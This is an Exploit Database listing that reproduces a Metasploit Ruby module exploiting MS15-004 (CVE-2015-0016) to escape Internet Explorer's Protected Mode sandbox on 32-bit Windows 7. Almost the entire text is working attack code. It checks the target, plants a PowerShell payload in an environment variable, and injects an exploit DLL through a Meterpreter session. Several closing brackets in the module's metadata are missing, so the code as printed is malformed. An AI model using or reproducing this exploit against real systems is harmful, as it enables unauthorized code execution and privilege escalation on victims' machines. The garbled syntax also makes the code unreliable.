Microsoft Remote Desktop Services – Web Proxy IE Sandbox Escape (MS15-004) (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2015-02-03
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/35983/

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# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local

Rank = GoodRanking

include Msf::Post::File

include Msf::Post::Windows::Priv

include Msf::Exploit::Powershell

def initialize(info={})

super(update_info(info, {

'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',

'Description'=> %q{

This module abuses a process creation policy in Internet Explorer's sandbox, specifically

the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape

the Protected Mode, and execute code with Medium Integrity. At the moment, this module only

bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested

successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11.

'License'=> MSF_LICENSE,

'Author' =>

[

'Unknown', # From Threat Intel of Symantec

'Henry Li', # Public vulnerability analysis

'juan vazquez' # Metasploit module

'Platform' => 'win',

'SessionTypes' => ['meterpreter'],

'Arch' => [ARCH_X86],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'WfsDelay' => 30

'Targets'=>

[

[ 'Protected Mode (Windows 7) / 32 bits',

{

'Arch' => ARCH_X86

}

]

'DefaultTarget'=> 0,

'Payload'=>

{

'Space' => 4096,

'DisableNops' => true

'References' =>

[

['CVE', '2015-0016'],

['MSB', 'MS15-004'],

['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']

'DisclosureDate' => 'Jan 13 2015'

}))

end

def check

temp = get_env('WINDIR')

dll_path = "#{temp}\\System32\\TSWbPrxy.exe"

win_ver = sysinfo['OS']

unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/

return Exploit::CheckCode::Safe

end

unless file_exist?(dll_path)

return Exploit::CheckCode::Safe

end

Exploit::CheckCode::Detected

end

def exploit

print_status('Checking target...')

unless check == Exploit::CheckCode::Detected

fail_with(Failure::NotVulnerable, 'System not vulnerable')

end

if session.platform !~ /^x86\//

fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')

end

win_ver = sysinfo['OS']

if win_ver =~ /Windows 2012|Windows 8/

fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')

end

print_status('Checking the Process Integrity Level...')

unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]

fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')

end

cmd = cmd_psh_payload(

payload.encoded,

payload_instance.arch.first,

{ :remove_comspec => true }

)

print_status('Storing payload on environment variable...')

cmd.gsub!('powershell.exe ','')

session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)

print_status('Exploiting...')

temp = get_env('TEMP')

# Using the old meterpreter loader, if it's loaded with

# Reflective DLL Injection the exceptions in the sandbox

# policy won't apply.

session.core.load_library(

'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'),

'TargetFilePath'=> temp +'\\cve-2015-0016.dll',

'UploadLibrary' => true,

'Extension' => false,

'SaveToDisk'=> false

)

end

def cleanup

session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)

super

end